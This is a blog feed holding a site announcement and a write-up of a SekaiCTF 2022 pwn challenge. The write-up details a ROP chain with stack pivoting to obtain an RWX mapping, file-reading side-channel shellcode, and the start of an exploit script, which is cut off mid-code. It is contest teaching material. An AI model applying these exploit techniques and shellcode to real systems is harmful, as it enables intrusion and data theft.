roderick - record and learn! https://roderickchan.github.io/ Welcome to roderick's blog site! Hugo 0.147.7 & FixIt v0.3.21-87ca54d0 en [email protected] (roderick) [email protected] (roderick) This work is licensed under CC BY-NC-SA-4.0. Wed, 05 Apr 2023 17:42:44 +0800 [Pinned] About my blog site https://roderickchan.github.io/2023-04-05-announcement-about-my-blog/ Wed, 05 Apr 2023 17:42:44 +0800[email protected] (roderick) https://roderickchan.github.io/2023-04-05-announcement-about-my-blog/ Announcement <blockquote> <p>About my blog site.</p></blockquote> <p>TL;DR:</p> <p>πŸ‘‰ Click <code>select language</code> button in the upper right corner of the page to read posts <strong>written in Chinese</strong></p> <p>πŸ‘‰ Use search box to find an article with keywords</p> <p>πŸ‘‰ All previous blogs are saved in this site, try to find it~</p> <p>πŸ‘‰ Still have a question, email me to <a href="mailto:[email protected]"target="_blank" rel="external nofollow noopener noreferrer">[email protected]<i class="fa-solid fa-external-link-alt fa-fw fa-xs ms-1 text-secondary" aria-hidden="true"></i></a></p> <hr> <p>I have two same blog sites:</p> <ul> <li><a href="https://roderickchan.github.io"target="_blank" rel="external nofollow noopener noreferrer">https://roderickchan.github.io<i class="fa-solid fa-external-link-alt fa-fw fa-xs ms-1 text-secondary" aria-hidden="true"></i></a></li> <li><a href="https://www.roderickchan.cn"target="_blank" rel="external nofollow noopener noreferrer">https://www.roderickchan.cn<i class="fa-solid fa-external-link-alt fa-fw fa-xs ms-1 text-secondary" aria-hidden="true"></i></a></li> </ul> <p>I have deployed two identical sites, one on Github Pages and the other on a Chinese Aliyun VPS. The purpose of this is to increase the speed of access and to help me backup my blog. I write blog posts in both English and Chinese, and they are stored in separate folders. To switch between languages and read more posts, please click the <code>language switch button</code>.</p> <p>If you encounter a <code>The page you're looking for doesn't exist</code> error, please do not worry as I have recently refactored my site settings, resulting in some changed links. You can search for articles on my blog site using keywords. The search box is located in the upper right corner of the page. For example, you can use <code>house of apple</code> to search for all articles related to <code>house of apple</code>.</p> <p>If you are unable to find search results, please switch to a different language and try again. If you still cannot find what you are looking for, it is possible that I have not written any blogs about the topic you are searching for.πŸ˜…</p> <p>Some original blog links need to be replaced, for example <code>https://www.roderickchan.cn/2023-02-20-the-art-of-shellcode/</code> needs to be replaced by <code>https://www.roderickchan.cn/zh-cn/2023-02-20-the-art-of-shellcode/</code>, then it can only be accessed.</p> 2022-SekaiCTF-Pwn-Wp-Gets-Bfs https://roderickchan.github.io/2022-sekaictf-pwn-wp-gets-bfs/ Mon, 03 Oct 2022 13:09:01 +0800[email protected] (roderick) https://roderickchan.github.io/2022-sekaictf-pwn-wp-gets-bfs/ pwn-wp <blockquote> <p><strong>Note</strong>: writeup for <code>gets</code> and <code>BFS</code></p></blockquote> <p>This ctf game meets The National Day, so I don&rsquo;t have enough time to play.</p> <p>If you have any questions about my writeup, please leave a message or email me.</p> <p>If images are not loaded, you can click <a href="https://image.roderickchan.cn/data/2022-10-03-2022-sekai-pwn-wp-gets-bfs.pdf"target="_blank" rel="external nofollow noopener noreferrer">here<i class="fa-solid fa-external-link-alt fa-fw fa-xs ms-1 text-secondary" aria-hidden="true"></i></a> to download the PDF.</p> <h2 class="heading-element" id="1-gets"><span>1 Gets</span> <a href="#1-gets" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h2><ul> <li>first blood</li> <li>spend <code>5</code> hours</li> </ul> <p>It&rsquo;s a simple challenge, only do <code>gets</code> at <code>main</code> function.</p> <p>All stages in summary :</p> <ul> <li>prepare ropchain data at <code>.bss</code></li> <li>rop attack to call <code>mmap</code>, allocate an <code>rwx</code> page</li> <li><code>gets(rwx_page)</code> and jmp to run shellcode</li> <li>leak flag by side-channel attack trick</li> </ul> <p>The detail information of each stage is following.</p> <h3 class="heading-element" id="1-1-get-limited-gadgets-for-binary"><span>1-1 Get Limited Gadgets for Binary</span> <a href="#1-1-get-limited-gadgets-for-binary" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><p>This challenge is just about <code>ROP</code> attack, but it&rsquo;s more complicated than other normal <code>ROP</code> challenges. Because there are not enough gadgets to use. No <code>csu</code> gadgets and only two <code>ppr</code> gadgets exist:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">0x000000000040114d: pop rbp; ret; </span></span><span class="line"><span class="cl">0x000000000040116a: pop rdi; ret;</span></span></code></pre></td></tr></table> </div> </div><p>Fortunately, the magic gadget <code>add dword ptr [rbp - 0x3d], ebx ; nop ; ret</code> can be used, its opcode is <code>015dc3</code>. To find this gadget by the command: <code>ropper -f ./chall --opcode 015dc3</code>。</p> <p>In fact, the magic gadget is powerful, we can change the content of the address if <code>rbp</code> and <code>rbx</code> register is controlled. And we don&rsquo;t need to leak any address, since the base address makes no difference for <code>add</code> operator. Now, we can control <code>rbp</code> by <code>pop rbp; ret</code>, and we need to find a gadget to control <code>rbx</code> register.</p> <h3 class="heading-element" id="1-2-find-gadgets-to-control-rbx-register"><span>1-2 Find Gadgets to Control Rbx Register</span> <a href="#1-2-find-gadgets-to-control-rbx-register" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><p>As we know, there&rsquo;re many glibc address left at <code>stack</code> when a function is called. So, if we do stack pivoting by <code>leave; ret</code>, move the stack to <code>bss</code> segment, call <code>gets</code> again, the glibc address will be left at <code>.bss</code>. Okay, let&rsquo;s do it and observe the data on stack:</p> <p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20221002231315507.png' alt="image-20221002231315507"></p> <p>to disassemble at <code>0x7f2b2e0c0514 (_IO_getline_info+292)</code>:</p> <p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20221002231442367.png' alt="image-20221002231442367"></p> <p>Once <code>r12</code> is writable, we can do <code>stack pivot</code> and call this gadget to control <code>rbx</code> register, and we&rsquo;re able to use <code>magic gadget</code> to change other libc-address left at <code>.bss</code>.</p> <p>In above image, the layout of <code>rop</code> data should be:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">pop rbp; ret </span></span><span class="line"><span class="cl">0x404378 </span></span><span class="line"><span class="cl">leave; ret</span></span></code></pre></td></tr></table> </div> </div><p>And we need to put data at <code>0x404388</code> before doing <code>stack pivot</code>,just input by <code>gets</code>:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">pop rdi; ret </span></span><span class="line"><span class="cl">0x404388 </span></span><span class="line"><span class="cl">elf.plt.gets</span></span></code></pre></td></tr></table> </div> </div><p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20221002232421924.png' alt="image-20221002232421924"></p> <p>At first, I choose to use <code>magic gadget</code> to change <code>0x7f2b2e0c0514 (_IO_getline_info+292)</code> to <code>0x7f2b2e0c0527 (_IO_getline_info+311)</code>. Because the <code>r12</code> register is not always writable.</p> <p>Now, we get a gadget <code>pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15</code> in <code>.bss</code>, and we can prepare the data , then call the gadget by <code>leave; ret</code> to control <code>rbx/rbp</code> registers.</p> <h3 class="heading-element" id="1-3-leave-more-glibc-address-at-bss"><span>1-3 Leave More Glibc Address at .Bss</span> <a href="#1-3-leave-more-glibc-address-at-bss" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><p>As we can control <code>rbx</code> and <code>rbp</code> register, the next stage is to do <code>stack pivot</code> again and again, to leave more glibc address at <code>.bss</code> area.</p> <p>One area is used for build the final ropchain, as I find some gadgets to call <code>mmap(0xdead000, 0x1000, 7, 0x22, -1, 0)</code>.</p> <p>This gadget A nearby <code>setcontex</code> is used to control argument registers:</p> <p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20221002234106165.png' alt="image-20221002234106165"></p> <p>This gadget B is used to control <code>rdx</code> register:</p> <p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20221002234402331.png' alt="image-20221002234402331"></p> <p>Another area is used to call <code>gets</code> and input data:</p> <p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20221002235013332.png' alt="image-20221002235013332"></p> <h3 class="heading-element" id="1-4-construct-the-final-ropchain"><span>1-4 Construct the Final Ropchain</span> <a href="#1-4-construct-the-final-ropchain" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><p>If we want to modify the content of a glibc address left at <code>bss</code> segment , the steps are:</p> <ul> <li>input data by calling <code>get(address)</code>, prepare data for <code>rbx</code> and <code>rbp</code></li> <li><code>leave; ret</code> and call <code>pop rbx; pop rbx;...ret</code></li> <li><code>magic gadget</code> to change the content of target address</li> <li><code>leave; ret</code> to the specific area and do other things</li> </ul> <p>The layout of final ropchain should be like:</p> <p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20221002234806343.png' alt="image-20221002234806343"></p> <p>Control <code>rdx</code> register by gadget B, then the arguments registers can be controlled by gadget A, then do <code>stack pivot</code> to call mmap64. Finally, call <code>gets</code> to put <code>shellcode</code> at <code>rwx</code> mapping memory.</p> <p>After doing <code>rop</code> again and again and again, we get the layout:</p> <p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20221003144507923.png' alt="image-20221003144507923"></p> <h3 class="heading-element" id="1-5-leak-flag-by-side-channel-attack"><span>1-5 Leak Flag by Side-Channel Attack</span> <a href="#1-5-leak-flag-by-side-channel-attack" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><p>Only <code>read/open/mmap</code> are allowed.</p> <p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20221003001152382.png' alt="image-20221003001152382"></p> <p>Leak the content of flag.txt by side-channel attack, the steps:</p> <ul> <li>open flag.txt</li> <li>read flag.txt</li> <li>compare flag.txt byte by byte</li> <li>wait for read if we guess right, otherwise kill the problem</li> </ul> <p>Therefor, the shellcode is:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span><span class="lnt">26 </span><span class="lnt">27 </span><span class="lnt">28 </span><span class="lnt">29 </span><span class="lnt">30 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">sc = &#34;&#34;&#34; </span></span><span class="line"><span class="cl">push 0x1010101 ^ 0x747874 </span></span><span class="line"><span class="cl">xor dword ptr [rsp], 0x1010101 </span></span><span class="line"><span class="cl">mov rax, 0x2e67616c662f7265 </span></span><span class="line"><span class="cl">push rax </span></span><span class="line"><span class="cl">mov rax, 0x73752f656d6f682f </span></span><span class="line"><span class="cl">push rax </span></span><span class="line"><span class="cl">push rsp </span></span><span class="line"><span class="cl">pop rdi </span></span><span class="line"><span class="cl">xor esi, esi </span></span><span class="line"><span class="cl">xor edx, edx </span></span><span class="line"><span class="cl">mov rax, 2 /* open flag.txt*/ </span></span><span class="line"><span class="cl">syscall </span></span><span class="line"><span class="cl">mov rdi, rax </span></span><span class="line"><span class="cl">mov rsi, rsp </span></span><span class="line"><span class="cl">mov rdx, 0x60 </span></span><span class="line"><span class="cl">mov rax, 0 </span></span><span class="line"><span class="cl">syscall </span></span><span class="line"><span class="cl">cmp byte ptr [rsi + {}], {} </span></span><span class="line"><span class="cl">jnz $+14 </span></span><span class="line"><span class="cl">nop </span></span><span class="line"><span class="cl">nop </span></span><span class="line"><span class="cl">xor edi, edi </span></span><span class="line"><span class="cl">xor edx, edx </span></span><span class="line"><span class="cl">mov dl, 0xf0 </span></span><span class="line"><span class="cl">xor eax, eax </span></span><span class="line"><span class="cl">syscall </span></span><span class="line"><span class="cl">mov rax, 60 </span></span><span class="line"><span class="cl">syscall </span></span><span class="line"><span class="cl">&#34;&#34;&#34;.format(index, guess_chr)</span></span></code></pre></td></tr></table> </div> </div><p>The format of flag is <code>SEKAI\{[A-Z_]+\}</code>, so index starts at <code>6</code>.</p> <h3 class="heading-element" id="1-6-exp"><span>1-6 EXP</span> <a href="#1-6-exp" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><p><code>exp.py</code>:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt"> 10 </span><span class="lnt"> 11 </span><span class="lnt"> 12 </span><span class="lnt"> 13 </span><span class="lnt"> 14 </span><span class="lnt"> 15 </span><span class="lnt"> 16 </span><span class="lnt"> 17 </span><span class="lnt"> 18 </span><span class="lnt"> 19 </span><span class="lnt"> 20 </span><span class="lnt"> 21 </span><span class="lnt"> 22 </span><span class="lnt"> 23 </span><span class="lnt"> 24 </span><span class="lnt"> 25 </span><span class="lnt"> 26 </span><span class="lnt"> 27 </span><span class="lnt"> 28 </span><span class="lnt"> 29 </span><span class="lnt"> 30 </span><span class="lnt"> 31 </span><span class="lnt"> 32 </span><span class="lnt"> 33 </span><span class="lnt"> 34 </span><span class="lnt"> 35 </span><span class="lnt"> 36 </span><span class="lnt"> 37 </span><span class="lnt"> 38 </span><span class="lnt"> 39 </span><span class="lnt"> 40 </span><span class="lnt"> 41 </span><span class="lnt"> 42 </span><span class="lnt"> 43 </span><span class="lnt"> 44 </span><span class="lnt"> 45 </span><span class="lnt"> 46 </span><span class="lnt"> 47 </span><span class="lnt"> 48 </span><span class="lnt"> 49 </span><span class="lnt"> 50 </span><span class="lnt"> 51 </span><span class="lnt"> 52 </span><span class="lnt"> 53 </span><span class="lnt"> 54 </span><span class="lnt"> 55 </span><span class="lnt"> 56 </span><span class="lnt"> 57 </span><span class="lnt"> 58 </span><span class="lnt"> 59 </span><span class="lnt"> 60 </span><span class="lnt"> 61 </span><span class="lnt"> 62 </span><span class="lnt"> 63 </span><span class="lnt"> 64 </span><span class="lnt"> 65 </span><span class="lnt"> 66 </span><span class="lnt"> 67 </span><span class="lnt"> 68 </span><span class="lnt"> 69 </span><span class="lnt"> 70 </span><span class="lnt"> 71 </span><span class="lnt"> 72 </span><span class="lnt"> 73 </span><span class="lnt"> 74 </span><span class="lnt"> 75 </span><span class="lnt"> 76 </span><span class="lnt"> 77 </span><span class="lnt"> 78 </span><span class="lnt"> 79 </span><span class="lnt"> 80 </span><span class="lnt"> 81 </span><span class="lnt"> 82 </span><span class="lnt"> 83 </span><span class="lnt"> 84 </span><span class="lnt"> 85 </span><span class="lnt"> 86 </span><span class="lnt"> 87 </span><span class="lnt"> 88 </span><span class="lnt"> 89 </span><span class="lnt"> 90 </span><span class="lnt"> 91 </span><span class="lnt"> 92 </span><span class="lnt"> 93 </span><span class="lnt"> 94 </span><span class="lnt"> 95 </span><span class="lnt"> 96 </span><span class="lnt"> 97 </span><span class="lnt"> 98 </span><span class="lnt"> 99 </span><span class="lnt">100 </span><span class="lnt">101 </span><span class="lnt">102 </span><span class="lnt">103 </span><span class="lnt">104 </span><span class="lnt">105 </span><span class="lnt">106 </span><span class="lnt">107 </span><span class="lnt">108 </span><span class="lnt">109 </span><span class="lnt">110 </span><span class="lnt">111 </span><span class="lnt">112 </span><span class="lnt">113 </span><span class="lnt">114 </span><span class="lnt">115 </span><span class="lnt">116 </span><span class="lnt">117 </span><span class="lnt">118 </span><span class="lnt">119 </span><span class="lnt">120 </span><span class="lnt">121 </span><span class="lnt">122 </span><span class="lnt">123 </span><span class="lnt">124 </span><span class="lnt">125 </span><span class="lnt">126 </span><span class="lnt">127 </span><span class="lnt">128 </span><span class="lnt">129 </span><span class="lnt">130 </span><span class="lnt">131 </span><span class="lnt">132 </span><span class="lnt">133 </span><span class="lnt">134 </span><span class="lnt">135 </span><span class="lnt">136 </span><span class="lnt">137 </span><span class="lnt">138 </span><span class="lnt">139 </span><span class="lnt">140 </span><span class="lnt">141 </span><span class="lnt">142 </span><span class="lnt">143 </span><span class="lnt">144 </span><span class="lnt">145 </span><span class="lnt">146 </span><span class="lnt">147 </span><span class="lnt">148 </span><span class="lnt">149 </span><span class="lnt">150 </span><span class="lnt">151 </span><span class="lnt">152 </span><span class="lnt">153 </span><span class="lnt">154 </span><span class="lnt">155 </span><span class="lnt">156 </span><span class="lnt">157 </span><span class="lnt">158 </span><span class="lnt">159 </span><span class="lnt">160 </span><span class="lnt">161 </span><span class="lnt">162 </span><span class="lnt">163 </span><span class="lnt">164 </span><span class="lnt">165 </span><span class="lnt">166 </span><span class="lnt">167 </span><span class="lnt">168 </span><span class="lnt">169 </span><span class="lnt">170 </span><span class="lnt">171 </span><span class="lnt">172 </span><span class="lnt">173 </span><span class="lnt">174 </span><span class="lnt">175 </span><span class="lnt">176 </span><span class="lnt">177 </span><span class="lnt">178 </span><span class="lnt">179 </span><span class="lnt">180 </span><span class="lnt">181 </span><span class="lnt">182 </span><span class="lnt">183 </span><span class="lnt">184 </span><span class="lnt">185 </span><span class="lnt">186 </span><span class="lnt">187 </span><span class="lnt">188 </span><span class="lnt">189 </span><span class="lnt">190 </span><span class="lnt">191 </span><span class="lnt">192 </span><span class="lnt">193 </span><span class="lnt">194 </span><span class="lnt">195 </span><span class="lnt">196 </span><span class="lnt">197 </span><span class="lnt">198 </span><span class="lnt">199 </span><span class="lnt">200 </span><span class="lnt">201 </span><span class="lnt">202 </span><span class="lnt">203 </span><span class="lnt">204 </span><span class="lnt">205 </span><span class="lnt">206 </span><span class="lnt">207 </span><span class="lnt">208 </span><span class="lnt">209 </span><span class="lnt">210 </span><span class="lnt">211 </span><span class="lnt">212 </span><span class="lnt">213 </span><span class="lnt">214 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="ch">#!/usr/bin/env python3</span> </span></span><span class="line"><span class="cl"><span class="c1"># Date: 2022-10-01 20:48:27</span> </span></span><span class="line"><span class="cl"><span class="c1"># Link: https://github.com/RoderickChan/pwncli</span> </span></span><span class="line"><span class="cl"><span class="c1"># Usage:</span> </span></span><span class="line"><span class="cl"><span class="c1"># Debug Cmd: python3 exp.py -E &#34;6,84&#34; debug ./chall -t -b 0x401219</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwncli</span> <span class="kn">import</span> <span class="o">*</span> </span></span><span class="line"><span class="cl"><span class="n">cli_script</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">context</span><span class="o">.</span><span class="n">arch</span> <span class="o">=</span> <span class="s2">&#34;amd64&#34;</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">io</span><span class="p">:</span> <span class="n">tube</span> <span class="o">=</span> <span class="n">gift</span><span class="o">.</span><span class="n">io</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">bss_start</span> <span class="o">=</span> <span class="mh">0x404000</span> </span></span><span class="line"><span class="cl"><span class="n">fake_rbp1</span> <span class="o">=</span> <span class="n">bss_start</span> <span class="o">+</span> <span class="mh">0x800</span> </span></span><span class="line"><span class="cl"><span class="n">fake_rbp2</span> <span class="o">=</span> <span class="n">bss_start</span> <span class="o">+</span> <span class="mh">0x400</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1"># 0x000000000040114c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret</span> </span></span><span class="line"><span class="cl"><span class="n">pop_rdi_ret</span> <span class="o">=</span> <span class="mh">0x40116a</span> </span></span><span class="line"><span class="cl"><span class="n">puts_plt</span> <span class="o">=</span> <span class="mh">0x401060</span> </span></span><span class="line"><span class="cl"><span class="n">pop_rbp_ret</span> <span class="o">=</span> <span class="mh">0x40114d</span> </span></span><span class="line"><span class="cl"><span class="n">leave_ret</span> <span class="o">=</span> <span class="mh">0x401219</span> </span></span><span class="line"><span class="cl"><span class="n">ret</span> <span class="o">=</span> <span class="mh">0x40101a</span> </span></span><span class="line"><span class="cl"><span class="n">magic_gadget</span> <span class="o">=</span> <span class="mh">0x40114c</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1"># stack pivot and call gets to leave glibc address on bss</span> </span></span><span class="line"><span class="cl"><span class="n">data</span> <span class="o">=</span> <span class="n">flat</span><span class="p">({</span> </span></span><span class="line"><span class="cl"> <span class="mi">40</span><span class="p">:</span> <span class="p">[</span> </span></span><span class="line"><span class="cl"> <span class="n">pop_rdi_ret</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">fake_rbp1</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">puts_plt</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">pop_rbp_ret</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">fake_rbp1</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">leave_ret</span> </span></span><span class="line"><span class="cl"> <span class="p">]</span> </span></span><span class="line"><span class="cl"><span class="p">})</span> </span></span><span class="line"><span class="cl"><span class="n">sl</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1"># stack pivot and call gets again</span> </span></span><span class="line"><span class="cl"><span class="n">data</span> <span class="o">=</span> <span class="n">flat</span><span class="p">([</span> </span></span><span class="line"><span class="cl"> <span class="n">fake_rbp1</span> <span class="o">+</span> <span class="mh">0x300</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">pop_rdi_ret</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">fake_rbp2</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">puts_plt</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">pop_rbp_ret</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">fake_rbp2</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">leave_ret</span> </span></span><span class="line"><span class="cl"><span class="p">])</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">sl</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> </span></span><span class="line"><span 